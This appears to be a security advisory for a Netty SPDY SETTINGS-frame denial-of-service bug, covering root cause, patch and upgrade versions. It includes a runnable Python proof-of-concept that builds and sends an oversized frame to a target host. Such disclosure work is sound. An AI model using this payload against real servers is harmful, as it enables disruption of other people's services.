CVE-2026-55831: netty-codec-http SPDY SETTINGS Frame Unbounded Entry Count DoS
A remote attacker can crash or stall a Netty server that speaks SPDY/3.1 by sending a single oversized SETTINGS frame that forces the server to allocate hundreds of thousands of map entries…
The problem
Netty's SPDY SETTINGS decoder reads a peer-controlled numSettings field from the wire and materializes every declared entry into a TreeMap inside DefaultSpdySettingsFrame with no implementation-level count cap.
A single valid ~2 MiB SETTINGS frame carrying 262,144 unique 24-bit IDs creates 262,144 TreeMap entries, consuming roughly 17-18 MiB of heap and burning CPU on ordered-map insertions. Any unauthenticated remote peer that can reach a pipeline containing SpdyFrameCodec can trigger this.
Proof of concept
A working proof-of-concept for CVE-2026-55831 in io.netty:netty-codec-http, with the exact payload below.
import socket, struct
# Craft a SPDY/3.1 SETTINGS frame with numSettings=262144
# Wire layout:
# 3-byte length = 4 + numSettings*8 = 2097156 (0x1FFFF4)
# 1-byte type = 0x04 (SETTINGS)
# 1-byte flags = 0x00
# 3-byte version+type (control frame: 0x80 0x03 0x04 packed separately)
#
# SPDY control frame header (8 bytes):
# bit 15 set = control frame; version=3; type=4 (SETTINGS)
# flags=0x00; length=4 + numSettings*8
NUM_SETTINGS = 262144
LENGTH = 4 + NUM_SETTINGS * 8 # 2097156
# Control frame header
header = struct.pack('!HHBi',
0x8003, # version=3, control bit set
0x0004, # type=SETTINGS
0x00, # flags
LENGTH # 24-bit length (packed as int32, top byte ignored by struct here)
)
# Re-pack correctly: SPDY header is 8 bytes total
# Bytes: [0x80,0x03][0x00,0x04][flags 1B][length 3B]
header = bytes([
0x80, 0x03, # control bit + version 3
0x00, 0x04, # SETTINGS frame type
0x00, # flags
(LENGTH >> 16) & 0xFF,
(LENGTH >> 8) & 0xFF,
LENGTH & 0xFF,
])
# numSettings field (4 bytes, big-endian)
body = struct.pack('!I', NUM_SETTINGS)
# Append 262144 entries, each 8 bytes: [flags 1B][id 3B][value 4B]
# Use sequential IDs 1..262144, flags=0, value=index
for i in range(1, NUM_SETTINGS + 1):
id_bytes = bytes([(i >> 16) & 0xFF, (i >> 8) & 0xFF, i & 0xFF])
body += bytes([0x00]) + id_bytes + struct.pack('!I', i)
frame = header + body
print(f'wire_bytes={len(frame)}') # expect ~2097164
# Send to target
with socket.create_connection(('TARGET_HOST', TARGET_PORT)) as s:
s.sendall(frame)The root cause is in SpdySettingsDecoder: it validates only that the payload length equals 4 + numSettings * 8 (a purely arithmetic check) and then loops numSettings times calling spdySettingsFrame.setValue(), which inserts a new Setting into an unbounded TreeMap for each previously unseen ID.
There is no guard between the wire-format count field and the insertion loop.
The patch (commits 5b68c61 and bb2ff68) introduces a maximum-settings-per-frame cap in the decoder. When numSettings exceeds that cap the frame is rejected before any TreeMap insertions occur, closing the amplification gap. CWE-400: Uncontrolled Resource Consumption.
The fix
Upgrade to io.netty:netty-codec-http:4.2.16.Final (4.x line) or 4.1.136.Final (4.1.x line). Both releases add a numSettings cap in SpdySettingsDecoder before the entry-materialization loop. If you cannot upgrade immediately, disable SPDY/3.1 support in your Netty pipeline by removing SpdyFrameCodec from the channel handler chain.
Related research
- highCVE-2026-56745CVE-2026-56745: netty-codec-http SpdyHttpDecoder ByteBuf Reference Leak
- high · 7.5CVE-2026-55833CVE-2026-55833: netty-codec-http SPDY zlib Decompression Bomb (DoS)
- high · 7.5CVE-2026-56816CVE-2026-56816: netty-codec-http3 Memory Exhaustion via Reserved Frame Types
- high · 7.5CVE-2026-44891CVE-2026-44891: netty-codec-stomp Unbounded Header Count DoS